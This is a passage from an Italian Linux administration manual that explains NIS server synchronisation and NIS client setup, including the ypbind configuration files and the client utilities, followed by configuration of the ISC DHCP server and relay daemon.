Ci sono tre modi per sincronizzare i serventi secondari, ma non tutti funzionano sempre, a causa degli accorgimenti utilizzati per ridurre i problemi di sicurezza.

1. Quando il servente principale viene aggiornato, dovrebbe essere in grado di inviare ai serventi secondari le modifiche alle mappe (*push*). Questa operazione non funziona se i serventi secondari non sono in ascolto in quel momento, inoltre non funziona anche in altre circostanze, sempre per motivi di sicurezza.

2. I serventi secondari possono comunicare periodicamente con il servente principale per verificare la presenza di aggiornamenti delle mappe. Questa operazione richiede nel servente principale la presenza in funzione del demone '**rpc.ypxfrd**'.

3. In ultima analisi, i serventi secondari si aggiornano con il comando '**ypinit -s *servente_principale***'.

Per quanto riguarda il secondo punto, il NIS offre generalmente tre script predisposti opportunamente per eseguire i compiti di aggiornamento. Si tratta di: '**ypxfr_1perhour**', '**ypxfr_1perday**' e '**ypxfr_2perday**'. Questi si trovano nella directory '`/usr/lib/yp/`' e sono pensati per essere inclusi in un file crontab, come nell'esempio seguente che rappresenta precisamente il file '`/etc/crontab`'.

```
20 *    * * * root /usr/lib/yp/ypxfr_1perhour
40 6    * * * root /usr/lib/yp/ypxfr_1perday
55 6,18 * * * root /usr/lib/yp/ypxfr_2perday
```

I diversi script si occupano di trasferire mappe differenti. In particolare, quello eseguito ogni ora è predisposto per trasferire le informazioni sugli utenti (la cosa più urgente).

Dal momento che non si può fare affidamento sul sistema di aggiornamento pilotato dal servente principale (quello del primo punto), se per qualche motivo l'aggiornamento a mezzo di '**ypxfr**' non funziona, occorre ripiegare necessariamente sull'uso periodico di '**ypinit -s**', eventualmente collocando anch'esso in un file crontab.

Come già accennato, il demone '**rpc.ypxfrd**' viene utilizzato solo nel servente principale per facilitare l'aggiornamento delle mappe nei serventi secondari. La sua presenza non è indispensabile, ma è utile per accelerare il processo di aggiornamento.

```
rpc.ypxfrd [opzioni]
```

Generalmente può essere utilizzato senza argomenti e dovrebbe essere gestito direttamente dalla procedura di inizializzazione del sistema.

42.4.7 Organizzazione di una distribuzione

Quando la propria distribuzione GNU è ben organizzata, non è necessario intervenire direttamente nel file '`/var/yp/Makefile`'; inoltre, è normale che siano già predisposti correttamente gli script per il controllo del NIS attraverso la procedura di inizializzazione del sistema.

Nel caso particolare delle distribuzioni Debian, lo script della procedura di inizializzazione del sistema che controlla il NIS è '`/etc/init.d/nis`'. Questo script, a sua volta, utilizza le indicazioni contenute nel file '`/etc/default/nis`' per sapere se deve essere attivato un servizio NIS come servente principale, secondario, o come cliente. Nell'esempio seguente si intende allestire un servente principale, in cui i file contenenti le parole d'ordine si trovano nella directory '`/etc/`' (come avviene di solito), che consente la modifica remota della shell:

```
#
# /etc/default/nis      Configuration settings for the NIS daemons.
#

# Are we a NIS server and if so what kind
# (values: false, slave, master)
NISSERVER=master

# Location of the master NIS password file (for yppasswdd).
# If you change this make sure it matches with /var/yp/Makefile.
YPPWDDIR=/etc

# Do we allow the user to use ypchsh and/or ypchfn ? The YPCHANGEOK
# fields are passed with -e to yppasswdd, see it's manpage.
# Possible values: "chsh", "chfn", "chsh,chfn"
YPCHANGEOK=chsh
```

42.4.8 Cliente NIS

Gli elaboratori che devono condividere le informazioni amministrate con il NIS, devono utilizzare il demone '**ypbind**', configurato opportunamente. In tal modo, su tali elaboratori, invece di utilizzare le informazioni amministrative locali, vengono usate quelle concentrate dal NIS.

La configurazione di '**ypbind**' avviene attraverso i file '`/etc/yp.conf`' e '`/etc/nsswitch.conf`'. Il primo serve a definire come raggiungere i serventi; il secondo definisce l'ordine di utilizzo dei servizi (*Name service switch*).

Come nel caso dei serventi, anche i clienti richiedono la definizione del dominio NIS, attraverso '**domainname**'. Se il dominio non viene predisposto '**ypbind**' non può funzionare.

Anche il cliente richiede la presenza della directory '`/var/yp/`'. Al suo interno viene creata la directory '`binding/`'.

Anche il cliente richiede l'attivazione del Portmapper RPC.

42.4.8.1 Gli utenti

A seconda delle caratteristiche particolari del cliente, sono possibili delle configurazioni speciali per ciò che riguarda l'accesso da parte degli utenti. Quando la loro gestione è compito del NIS, si può configurare il cliente in modo da definire una graduatoria nella ricerca dei dati che identificano l'utente al momento dell'accesso. Di solito si cerca prima l'utente nel file '`/etc/passwd`' locale, quindi si prova con il NIS.

A parte questo particolare abbastanza semplice, si può porre il problema di voler concedere l'accesso su un certo elaboratore solo ad alcuni utenti definiti attraverso il NIS, oppure, più semplicemente, si può volere escludere l'accesso da parte di qualcuno. Per ottenere questo occorre intervenire sul file '`/etc/passwd`' utilizzando record con notazioni particolari; cosa che qui non viene descritta.

In generale, per fare in modo che gli utenti NIS del dominio a cui si fa riferimento possano accedere da un certo cliente, occorre aggiungere in coda un record speciale nei file '`/etc/passwd`', '`/etc/group`' e '`/etc/shadow`':

- '/etc/passwd'

```
+::::::
```

- '/etc/group'

```
+:::
```

- '/etc/shadow'

```
+::::::
```

Questo record viene interpretato come il punto in cui si vogliono inserire virtualmente gli utenti NIS.

42.4.8.2 Attivazione del demone

'**ypbind**' è il demone necessario all'attivazione dell'accesso alle informazioni fornite da un servente NIS; è in pratica il cliente NIS. Utilizza la directory '/var/yp/binding/' per collocarci all'interno un file contenente le informazioni sul dominio NIS per il quale è stato avviato.

```
ypbind [opzioni]
```

'**ypbind**' utilizza la configurazione del file '/etc/yp.conf' per trovare i serventi e quella del file '/etc/nsswitch.conf' per stabilire l'ordine di utilizzo delle informazioni amministrative.

In caso di difficoltà, può essere avviato con l'opzione '**-debug**', in modo da farlo funzionare in primo piano, per controllare le informazioni diagnostiche emesse attraverso lo standard error.

La configurazione principale di questo demone avviene per mezzo del file '/etc/yp.conf', il quale serve a definire come accedere ai serventi.

> '**ypbind**' potrebbe essere in grado di utilizzare solo l'ultima riga di questo file. Di conseguenza, è bene limitarsi a una sola direttiva.

Il file può contenere tre tipi di direttive, descritte dai modelli sintattici seguenti:

```
domain dominio_nis server nodo
```

```
domain dominio_nis broadcast
```

```
ypserv nodo
```

La prima definisce che per il dominio NIS indicato si deve interpellare il servente specificato; la seconda definisce che per il dominio si devono usare delle chiamate circolari a tutta la rete (locale); l'ultima definisce semplicemente un servente, indipendentemente dal dominio.

Quando si utilizza il sistema della chiamata circolare (broadcast), si rischia di ricevere la risposta da un possibile servente fasullo, collocato appositamente per sostituirsi a quelli veri allo scopo di carpire informazioni dai clienti. Se non si temono attacchi di questo tipo, la chiamata circolare è il modo migliore che consente al cliente di scegliersi il servente (quello che risponde prima).

Il servente può essere indicato per nome o per numero IP. Nel primo caso, è necessario che il sistema sia in grado di risolvere il nome in modo indipendente dal NIS (evidentemente). In generale, è conveniente utilizzare l'indirizzo IP per questo scopo.

L'esempio seguente mostra l'unica riga di un file '`/etc/yp.conf`' in cui si stabilisce che per il dominio *`rost.nis-yp`* si deve usare la chiamata circolare.

```
domain rost.nis-yp broadcast
```

Il file '`/etc/nsswitch.conf`' viene usato dalla libreria C per attuare il NSS, ovvero il *Name service switch*, che in pratica stabilisce l'ordine in cui devono essere cercate le informazioni (se attraverso il NIS, file locali o altro). Pertanto, il modo corretto di configurare questo file dipende strettamente dal tipo e dalla versione della libreria utilizzata. Si veda a questo proposito quanto descritto nella pagina di manuale *nsswitch.conf(5)*, oppure nell'ipertesto Info: *info libc*.

Quello che segue è la configurazione proposta in una distribuzione GNU particolare.

```
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the 'glibc-doc' and 'info' packages installed, try:
# 'info libc "Name Service Switch"' for information about this file.
#

passwd:         compat
group:          compat
shadow:         compat

hosts:          files dns
networks:       files

protocols:      db files
services:       db files
ethers:         db files
rpc:            db files

netgroup:       nis
```

42.4.8.3 Altri programmi di contorno

Dal lato del cliente sono importanti altri programmi di contorno. Si tratta precisamente di '**ypwhich**', '**ypcat**', '**ypmatch**' e '**yppasswd**'.

Il programma '**ypwhich**' permette di conoscere quale sia il servente NIS utilizzato dal cliente oppure quale sia precisamente il servente principale per una certa mappa.

```
ypwhich [opzioni]
```

Opzione	Descrizione
	Senza opzioni, il programma '**ypwhich**' mostra il servente NIS usato.
`-d` *dominio*	Utilizza un dominio differente da quello predefinito. Per usare questa opzione occorre comunque che tale dominio diverso sia stato collegato.
`-m` [*mappa*]	Permette di conoscere quale sia il servente principale per la particolare mappa specificata, o per tutte quelle che vengono raggiunte.

Seguono alcuni esempi di utilizzo di '**ypwhich**'.

`$` **`ypwhich`** [*Invio*]

Emette il nome dell'elaboratore che funge da servente NIS per quel particolare cliente.

`$` **`ypwhich -m`** [*Invio*]

Emette l'elenco delle mappe gestire dal NIS con i rispettivi serventi principali competenti.

Il programma '**ypcat**' emette il contenuto di una mappa indicata come argomento della riga di comando. Questo programma dipende da '**ypbind**'.

```
ypcat [opzioni] mappa
```

Opzione	Descrizione
`-d` *dominio*	Utilizza un dominio differente da quello predefinito. Per usare questa opzione occorre comunque che tale dominio diverso sia stato collegato.

L'esempio seguente serve a emettere il contenuto della mappa corrispondente all'elenco dei gruppi per nome.

`$` **`ypcat group.byname`** [*Invio*]

Il programma '**ypmatch**' emette il valori corrispondenti a una o più chiavi di una mappa. Questo programma dipende da '**ypbind**'.

ypmatch [*opzioni*] *chiave*... *mappa*

Opzione	Descrizione
`-d` *dominio*	Utilizza un dominio differente da quello predefinito. Per usare questa opzione occorre comunque che tale dominio diverso sia stato collegato.

Seguono alcuni esempi di utilizzo di '**ypmatch**'.

$ **ypmatch tizio caio passwd.byname** [*Invio*]

Emette i record corrispondenti agli utenti '**tizio**' e '**caio**'.

$ **ypmatch 500 passwd.byuid** [*Invio*]

Emette il record corrispondente all'utente identificato dal numero UID 500.

I nomi '**yppasswd**', '**ypchsh**' e '**ypchfn**' sono tre alias dello stesso programma. A seconda di quale viene usato per avviarlo, si intende cambiare la parola d'ordine, la shell o le informazioni personali.

yppasswd [*utente*]

ypchsh [*utente*]

ypchfn [*utente*]

Questi comandi si sostituiscono ai soliti '**passwd**', '**chsh**' e '**chfn**', i quali hanno effetto solo localmente, quando si vuole intervenire sulle utenze gestite dal NIS. A questo proposito, è bene considerare la possibiltà di fare «sparire» i comandi normali, in modo da non creare confusione agli utenti, predisponendo dei collegamenti simbolici opportuni per fare in modo che '**passwd**', '**chsh**' e '**chfn**' avviino rispettivamente i corrispondenti '**yppasswd**', '**ypchsh**' e '**ypchfn**'.

Questi comandi, quando vengono invocati, si mettono in contatto con il servente principale, nel quale deve essere in funzione il demone '**rpc.passwdd**'. È da questo demone che dipende la possibilità di cambiare tali valori, ma potrebbe capitare che sia abilitata solo la sostituzione delle parole d'ordine.

Solo l'utente '**root**' può indicare il nome di un altro utente attraverso la riga di comando.

42.4.9 Directory personali

Quando si gestiscono gli utenti (e i gruppi) attraverso il NIS, si intende permettere a tutti questi utenti di utilizzare indifferentemente tutte le macchine su cui si fa funzionare il cliente NIS. Per raggiungere questo obiettivo, occorre fare in modo che le rispettive directory personali (*home*) siano accessibili da qualunque postazione. Evidentemente è necessario usare uno spazio condiviso in rete, attraverso il protocollo NFS.

Il modo più semplice potrebbe essere quello di predisporre una partizione apposita in un servente NFS, innestando tale file system nella directory '`/home/`' di ogni cliente NIS. Come si può intuire non si tratta di una soluzione ottimale, comunque è qualcosa di pratico, almeno inizialmente.

Il file system condiviso deve essere accessibile in lettura e scrittura.

La gestione del protocollo NFS è descritta nella sezione 42.3.

42.4.10 Porte coinvolte

Il servizio NIS si avvale per il suo funzionamento del Portmapper e di altri demoni specifici, come descritto nel capitolo. In generale, questi demoni comunicano utilizzando porte TCP o UDP definite in modo dinamico, pubblicizzate poi dal Portmapper stesso. Pertanto, a parte il Portmapper che opera alla porta 111, non esiste la possibilità di controllare il traffico NIS per mezzo di filtri di pacchetto che usano come riferimento le porte TCP e UDP.

Eventualmente, molti dei demoni del servizio NIS possono accettare un opzione della riga di comando con la quale si specifica espressamente un numero di porta; in questo modo si può stabilire una convenzione interna e sfruttare questa per la configurazione di un firewall.

42.5 DHCP

La sigla DHCP sta per *Dynamic host configuration protocol* e identifica un protocollo per la configurazione automatica dei nodi di rete.[10] Il problema riguarda evidentemente le reti locali in cui si desidera centralizzare il problema della configurazione dei nodi di rete in un servente, senza intervenire in ogni nodo, singolarmente.

La configurazione dei clienti, definita nel servente DHCP, può essere statica o dinamica; quando questa è dinamica, il servente DHCP concorda con i clienti che lo contattano un tempo di validità per la configurazione assegnata, sulla base del fatto che i clienti siano comunque riconoscibili dal servente attraverso l'indirizzo Ethernet. Ciò permette all'elaboratore cliente che riceve una configurazione dinamica di mantenere quella configurazione per un certo tempo, senza che questa debba essere necessariamente ridefinita a ogni riavvio. Questo tempo di validità viene indicato con il termine *lease* ed è compito del servente tenere memoria delle configurazioni già assegnate; d'altro canto i clienti devono comunque richiedere ogni volta al servente i dati per la propria configurazione.

Il termine inglese *lease* fa intendere che il cliente «affitta» la sua posizione nella rete.

42.5.1 Sistemazioni generali per il kernel Linux

Il cliente che tenta di contattare un servente DHCP deve utilizzare una chiamata circolare. Per questo, nel caso di un sistema GNU/Linux, i kernel utilizzati negli elaboratori clienti e quello del servente, devono essere stati predisposti opportunamente per il *multicasting* (sezione 8.3.7). Si verifica facilmente che sia disponibile questa caratteristica attraverso '**`ifconfig`**', dando una configurazione transitoria a un'interfaccia e quindi visualizzando il suo stato come nel caso seguente:

`ifconfig eth0` [*Invio*]

```
eth0      Link encap:Ethernet  HWaddr 00:A0:24:77:49:97
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0
          TX packets:87 errors:0 dropped:0 overruns:0
          Interrupt:12 Base address:0xff80
```

In questo caso si vede apparire la parola '**`MULTICAST`**' che rappresenta l'attivazione della modalità corrispondente, risolvendo ogni dubbio.

Il servente DHCP deve essere in grado di trasmettere dei pacchetti all'indirizzo IP 255.255.255.255, corrispondente idealmente a «tutti i nodi». In circostanze eccezionali,[11] può darsi che per poterlo fare si debba creare un instradamento apposito, su **tutte** le interfacce di rete attraverso cui il servente deve essere raggiungibile e da cui deve poter rispondere.

`route add -host 255.255.255.255 dev eth0` [*Invio*]

`route add -host 255.255.255.255 dev eth1` [*Invio*]

L'esempio, in particolare, mostra l'instradamento attraverso le interfacce '**`eth0`**' e '**`eth1`**'.

In ultima analisi, un kernel Linux deve essere stato predisposto per la gestione di *`Packet socket`* e *`Network packet filtering`*. Nel file di configurazione della compilazione del kernel, queste voci corrispondono a '**`CONFIG_PACKET`**' e a '**`CONFIG_NETFILTER`**'. Si veda eventualmente il capitolo 8.3.7.

42.5.2 Rete di competenza e router

Teoricamente, dovrebbe essere possibile fare in modo che il servente DHCP riceva le richieste dei clienti anche se queste devono attraversare dei router. In pratica, ciò richiede che i router siano in grado di trasferire tali richieste, oppure che presso di loro sia presente un servizio intermedio di relè (*relay*). Comunque, si tratterebbe di una politica amministrativa discutibile. Infatti, in generale, il servente DHCP dovrebbe essere collocato nella rete fisica che si trova a servire, mentre le richieste dei clienti non dovrebbero poter attraversare i router.

L'utilizzo del protocollo DHCP può costituire un problema serio di sicurezza; in questo senso, sarebbe meglio se i router non fossero in grado di trasferire le connessioni con questo protocollo.

42.5.3 Conflitto con il supervisore dei servizi di rete

Normalmente, il protocollo DHCP utilizza la porta 67 UDP, che di solito è denominata '**bootps**'. Il supervisore dei servizi di rete potrebbe essere stato predisposto per la gestione del servizio BOOTP su quella porta. Per esempio, nel file '/etc/inetd.conf' che riguarda precisamente la configurazione di Inetd, potrebbe essere presente una riga simile a quella seguente, commentata nello stesso modo:

```
...
#bootps dgram   udp     wait    root    /usr/sbin/tcpd  bootpd
...
```

Se invece la gestione del servizio BOOTP fosse abilitata, ciò andrebbe in conflitto con i demoni usati per il DHCP, sia nel nodo del servente, sia nei nodi clienti.

42.5.3.1 Informazioni gestibili attraverso DHCP

Attraverso il protocollo DHCP, i nodi clienti possono ricevere una serie di informazioni utili a definire la propria collocazione nella rete circostante. Il minimo indispensabile di tali informazioni è costituito normalmente dall'indirizzo IPv4 e dalla maschera di rete relativa. Dipende poi dalle caratteristiche del servente la possibilità di offrire informazioni aggiuntive. L'elenco seguente è solo un esempio delle informazioni che potrebbero essere offerte:

- l'indirizzo IPv4 e la maschera di rete;
- l'indirizzo broadcast;
- il nome del nodo e il dominio relativo;
- l'indirizzo del router predefinito;
- l'indirizzo del servente DNS;
- l'indirizzo del servente di stampa;
- il dominio NIS;
- il servente NIS;
- il servente per la sincronizzazione dell'orologio.

42.5.4 Servente DHCP ISC

Il servente DHCP che si trova di solito nelle distribuzioni GNU è quello la cui produzione è stata finanziata da Internet Systems Consortium.[12] Viene fatta questa precisazione, perché negli stessi sistemi GNU potrebbe essere utilizzato un cliente di origine differente.

Il servente DHCP di ISC si compone del demone '**dhcpd**', il quale si avvale della configurazione contenuta nel file 'dhcpd.conf' ('/etc/dhcp*/dhcpd.conf' o simile), inoltre utilizza il file 'dhcpd.leases' (che potrebbe essere collocato nella directory '/var/lib/dhcp*/') per annotare gli indirizzi concessi ai vari clienti, finché questi restano validi. Questo ultimo file, 'dhcpd.leases', deve esistere (vuoto) prima che il demone possa essere avviato la prima

volta. Eventualmente, il demone '**dhcpd**' è in grado di offrire anche un servizio BOOTP, se la configurazione contiene le informazioni necessarie per la gestione di questo tipo di protocollo.

Il problema di organizzazione del servente si limita quindi alla configurazione del file '`dhcpd.conf`'.

Segue il modello sintattico per l'avvio del demone:

dhcpd [*opzioni*] [*interfaccia*...]

In generale, '**dhcpd**' non richiede alcun argomento nella riga di comando, limitandosi così a leggere la configurazione e a porsi in ascolto di tutte le interfacce in grado di gestire il multicast, funzionando come demone. L'indicazione di una o più interfacce di rete, alla fine degli argomenti, permette di specificare dove '**dhcpd**' deve porre la sua attenzione, ignorando le altre che fossero eventualmente presenti.

Opzione	Descrizione
`-p` *n_porta*	Il demone '**dhcpd**' è in ascolto normalmente della porta UDP numero 67 (BOOTPS), ma ciò può essere cambiato attraverso questa opzione.
`-cf` *file_di_configurazione*	Permette di definire un file di configurazione alternativo a quello predefinito.
`-lf` *file_lease*	Permette di definire un file alternativo a quello predefinito per l'accumulo delle informazioni sui nodi che hanno ottenuto un indirizzo IP.

La configurazione con il file '`dhcpd.conf`' permette di definire il funzionamento di '**dhcpd**', sia per la gestione del protocollo DHCP, sia per BOOTP. Tuttavia, qui si intendono mostrare solo le direttive utili per il protocollo DHCP. In questo file sono ammessi i commenti, preceduti dal simbolo '**#**' e terminati dalla fine della riga in cui appaiono. È consentito inoltre spaziare le direttive attraverso righe vuote o righe bianche.

Le direttive sono organizzare in forma di struttura, in cui appare la dichiarazione di ciò a cui fa riferimento tale struttura, seguita dall'indicazione di una serie di parametri specifici, racchiusi tra parentesi graffe:

```
[parametro_globale ; ]
[parametro_globale ; ]
...
dichiarazione {
    [parametro_specifico ; ]
    ...
    [sotto_dichiarazione {
        [parametro_più_specifico ; ]
        ...
    }]
    ...
}
...
```

Lo schema sintattico è un po' confuso a prima vista, ma significa che il file può iniziare con una serie di direttive (facoltative) contenenti l'indicazione di alcuni parametri (viene chiarito in seguito di cosa può trattarsi), il cui effetto ha valore globale, salvo la possibilità di essere offuscati da definizioni contrastanti all'interno di direttive di dichiarazione.

Il file deve contenere almeno una direttiva di dichiarazione che può limitarsi a contenere dei parametri specifici, oppure può inglobare delle sotto-dichiarazioni.

La cosa migliore, per cominciare, è introdurre un esempio. Si supponga di volere servire la rete locale 192.168.1.0/255.255.255.0, specificando che gli indirizzi da 192.168.1.100 a 192.168.1.199 possono essere gestiti per le attribuzioni dinamiche di indirizzi IPv4. Il file di configurazione può limitarsi a contenere quanto segue:

```
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.199;
}
```

La direttiva di dichiarazione '**`subnet`**', come si può intuire, è quella più importante per la gestione del DHCP. Nella maggior parte dei casi, la configurazione si compone di una o più direttive di questo tipo, contenenti probabilmente più parametri di quanto visto nell'esempio.

Prima di mostrare più in dettaglio le altre direttive, viene presentato un altro esempio che potrebbe soddisfare le esigenze più comuni di chi utilizza '**`dhcpd`**' (a parte i valori particolari che sono stati indicati). Rispetto all'esempio precedente si nota la presenza di due intervalli di indirizzi IPv4 da utilizzare per l'attribuzione automatica; per il resto, momentaneamente, dovrebbe essere intuitivo il significato.

```
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.149;
    range 192.168.1.200 192.168.1.249;
    default-lease-time 604800;  # una settimana
    max-lease-time 2592000;     # 30 giorni
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    option routers 192.168.1.1;
    option domain-name-servers 192.168.1.1, 192.168.1.2;
    option domain-name "brot.dg";
}
```

Prima di proseguire con la descrizione di alcuni tra dichiarazioni e parametri, si osservi che i parametri sono terminati dal punto e virgola. È ammesso indicare più parametri sulla stessa riga, anche se in generale è preferibile evitarlo.

Dichiarazione	Descrizione

`shared-network` ***nome*** `{`
    [***parametro*** ;]
    ...
    dichiarazione `{`
        ...
    `}`
    ...
`}`
	Come si osserva dalla sintassi, una dichiarazione '**`shared-network`**' è fatta per l'inclusione di altre dichiarazioni e non solo di parametri. Permette di specificare una rete condivisa, nel senso di due o più reti logiche che si trovano sulla stessa rete fisica. In questa situazione, è normale che la direttiva includa l'indicazione di più dichiarazioni '**`subnet`**', una per ogni rete logica. Il problema, semmai, è che quando si collocano dei nodi nuovi nella rete condivisa, non è possibile distinguere a quale delle reti logiche dovrebbero appartenere; di conseguenza, ottengono semplicemente il primo indirizzo libero nell'insieme globale.

`group {`
    [***parametro*** ;]
    ...
    dichiarazione `{`
        ...
    `}`
    ...
`}`
	La dichiarazione '**`group`**' serve solo a definire un raggruppamento di dichiarazioni, a cui attribuire una serie di parametri in modo predefinito. Evidentemente si tratta dei parametri che precedono le direttive delle dichiarazioni annidate.

`subnet` ***indirizzo_di_rete*** `netmask` ***maschera_di_rete*** `{`
    [***parametro*** ;]
    ...
`}`
	La dichiarazione '**`subnet`**' serve a contenere l'indicazione di parametri specifici per la sottorete. Permette di definire una sottorete, indicata attraverso l'indirizzo e la maschera di rete.

Parametro	Descrizione
`authoritative;` `not authoritative;`	L'opzione '**`authoritative`**' (opposta a '**`not authoritative`**' che invece è predefinita), consente di specificare che il servente è «autorevole» e che può riconfigurare i nodi che risultano configurati in modo errato.
`default-lease-time` ***n_secondi*** `;`	Definisce il tempo predefinito per la scadenza dell'associazione tra nodo e indirizzo IP assegnato. Viene utilizzato se il cliente non richiede una durata differente.
`max-lease-time` ***n_secondi*** `;`	Definisce il tempo massimo per la scadenza dell'associazione tra nodo e indirizzo IP assegnato. Il cliente non può ottenere un tempo maggiore (che comunque può essere rinnovato).
`range` ***indirizzo_ip_iniziale*** ***indirizzo_ip_finale*** `;`	Indica l'intervallo di indirizzi IP utilizzabili in modo dinamico. Più intervalli separati possono essere indicati utilizzando più volte questo tipo di parametro.
`option subnet-mask` ***maschera_di_rete*** `;`	Permette di specificare la maschera di rete, modificando eventualmente quanto stabilito in modo predefinito.
`option broadcast-address` ***indirizzo_broadcast*** `;`	Permette di definire l'indirizzo broadcast.
`option routers` ***indirizzo_ip_del_router*** `;`	Permette di indicare l'indirizzo IP del router predefinito.
`option domain-name-servers` ***indirizzo_dns*** [`,`...] `;`	Permette di indicare un elenco di indirizzi di serventi DNS. Gli indirizzi sono separati attraverso una virgola.
`option domain-name "`***dominio***`";`	Stabilisce il nome di dominio. Di solito si tratta del dominio della rete o della sottorete a cui si fa riferimento.
`option nis-domain` ***dominio_nis*** `;`	Stabilisce il dominio NIS.
`option nis-servers` ***servente_nis***↵ ↪[`,` ***servente_nis***]...`;`	Indica uno o più serventi NIS.
`option lpr-servers` ***servente_lpr***↵ ↪[`,` ***servente_lpr***]...`;`	Indica uno o più serventi di stampa (stampanti di rete).
`option log-servers` ***servente_log***↵ ↪[`,` ***servente_log***]...`;`	Indica uno o più nodi in grado di ricevere annotazioni da aggiungere al registro del sistema.
`option root-path "`***nodo***`:/`***percorso***`";`	Indica il nodo e il percorso a partire dal quale è possibile innestare il file system.

Per conoscere tutte le «opzioni» che si possono inserire nelle direttive '**`option`**', si deve leggere la pagina di manuale *dhcp-options(5)*.

42.5.4.1 Avvio e arresto del servizio

In condizioni normali, il demone '**`dhcpd`**' viene controllato dalla procedura di inizializzazione del sistema, attraverso uno dei suoi script. L'esempio che segue rappresenta un modo semplice per ottenere questo, dove la variabile di ambiente ***INTERFACES*** viene usata per contenere l'elenco delle interfacce di rete da configurare:

```
#!/bin/sh
#
test -f /usr/sbin/dhcpd || exit 0
#
INTERFACES="eth0"
#
case "$1" in
  start)
        printf "Avvio del servizio DHCP: "
        /usr/sbin/dhcpd -q $INTERFACES
        echo
        ;;
  stop)
        printf "Disattivazione del servizio DHCP: "
        killall dhcpd
        echo
        ;;
  *)
        echo "Utilizzo: dhcp-server {start|stop}"
        exit 1
esac
```

Nel caso particolare della distribuzione GNU/Linux Debian, questo script è certamente più complesso, ma fa uso proprio della variabile di ambiente ***INTERFACES*** che viene definita nel file '`/etc/default/dhcp3-server`':

```
# Defaults for dhcp initscript
# sourced by /etc/init.d/dhcp
# installed at /etc/default/dhcp3-server by the maintainer scripts

#
# This is a POSIX shell fragment
#

# On what interfaces should the DHCP server (dhcpd) serve DHCP
# requests?
# Separate multiple interfaces with spaces, e.g. "eth0 eth1".
INTERFACES="eth0"
```

42.5.4.2 Interfaccia di rete e alias con i sistemi GNU/Linux

Quando si utilizza il servente DHCP di ISC su un sistema GNU/Linux, occorre tenere presente che l'interfaccia di rete indicata alla fine della riga di comando di '**`dhcpd`**', deve essere reale; in pratica, non può trattarsi di un «alias», come potrebbe esserlo un nome del tipo '**`eth0:1`**'.

Figura 42.78. Un router per due reti che in realtà sono fisicamente la stessa.

192.168.1.0 1.2.3.5
nodo nodo nodo nodo nodo
192.168.1.254 eth0:1 eth0 1.2.3.4
router

Quando si configura un router con una sola interfaccia di rete reale (utilizzando il sistema GNU/Linux), diventa praticamente indispensabile fare riferimento al nome di interfaccia reale per ciò che si può considerare come la «rete esterna». Questa necessità dipende dal fatto che il programma '**`iptables`**', usato, per esempio, per configurare il NAT e un sistema di filtri, richiede l'indicazione di un nome di interfaccia reale, ma dovendo scegliere, in questo caso, è importante che il nome reale sia riferito alla rete esterna.

Se si vuole attivare un servizio DHCP all'interno di un elaboratore che è collegato a due reti (reali o virtuali), è ragionevole supporre che questo servizio serva per quella rete che si considera, in qualche modo, interna. Se però si sta lavorando nelle condizioni ipotizzate, dove si dispone di una sola interfaccia reale e si attribuiscono degli alias, dovendo utilizzare il nome reale dell'interfaccia per la rete esterna, finisce che il servizio DHCP opera proprio dove non serve.

Figura 42.79. In questo caso, il servizio DHCP interviene in un gruppo di indirizzi della rete 192.168.1.∗, ma si trova formalmente a essere fornito dall'indirizzo 1.2.3.4. In questo caso, succede in particolare che il file '`/tftpboot/kernel`' risulta trovarsi presso l'elaboratore 1.2.3.4, mentre un sistema senza disco fisso (*diskless*) della rete 192.168.1.∗ si trova in difficoltà a raggiungerlo.

192.168.1.0 1.2.3.5

nodo nodo nodo nodo nodo

192.168.1.254 eth0:1 eth0 1.2.3.4

router
DHCP

```
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.199;
    filename "/tftpboot/kernel";
}
```

Purtroppo, non c'è modo di istruire il demone '**`dhcpd`**' di rispondere utilizzando l'indirizzo mittente che si preferisce per la rete interna. Il programma '**`dhclient`**' che viene descritto in una sezione apposita, può superare il problema, purché ci sia un router che consente di raggiungere l'indirizzo del lato esterno (si suppone che sia lo stesso nodo che ha questa interfaccia singola che esegue il compito di router); tuttavia, altri programmi non ne sono in grado; in particolare l'avvio di un sistema senza disco potrebbe essere in crisi.

Eventualmente si può sfruttare un raggiro molto semplice: si configura temporaneamente l'interfaccia reale con l'indirizzo da usare per la rete interna; si avvia il demone '**`dhcpd`**'; si riconfigura l'interfaccia con l'indirizzo esterno e si dichiara un alias per l'indirizzo interno. In questo modo, il demone '**`dhcpd`**' continua a lavorare considerando l'indirizzo interno corretto:

`ifconfig eth0 192.168.1.254` [*Invio*]

`/usr/sbin/dhcpd -q eth0` [*Invio*]

`ifconfig eth0 1.2.3.4` [*Invio*]

`ifconfig eth0:1 192.168.1.254` [*Invio*]

...

Ovviamente, la sequenza mostrata delle operazioni è semplificata, in quanto non verifica la necessità eventuale di dover terminare il funzionamento di un demone '**`dhcpd`**' già attivo, inoltre non si considera la possibilità di disattivare l'interfaccia di rete prima di riconfigurarla.

42.5.5 Relè DHCP ISC

Nello stesso pacchetto del servente DHCP descritto nelle sezioni precedenti, si trova normalmente il demone '**dhcrelay**'. Questo è in grado di fungere da ripetitore per una richiesta fatta da un cliente DHCP, quando questa, diversamente, non può attraversare un router.

All'inizio del capitolo si è accennato al fatto che sarebbe meglio evitare che un servizio DHCP possa superare i router; tuttavia, chi desidera utilizzare ugualmente tale possibilità, lo può fare attraverso questo programma.

dhcrelay [*opzioni*] *servente_dhcp*...

Il programma '**dhcrelay**' è un demone in grado di ritrasmettere le richieste fatte da un cliente DHCP a un servente che altrimenti non sarebbe raggiungibile. Nello stesso modo, le risposte vengono rinviate all'origine.

Il programma '**dhcrelay**' non richiede configurazione; l'unica cosa indispensabile è l'indicazione di almeno un servente DHCP alla fine della riga di comando.

Tabella 42.80. Alcune opzioni.

Opzione	Descrizione
-p *n_porta*	Permette di specificare un numero di porta differente da quella standard (67).
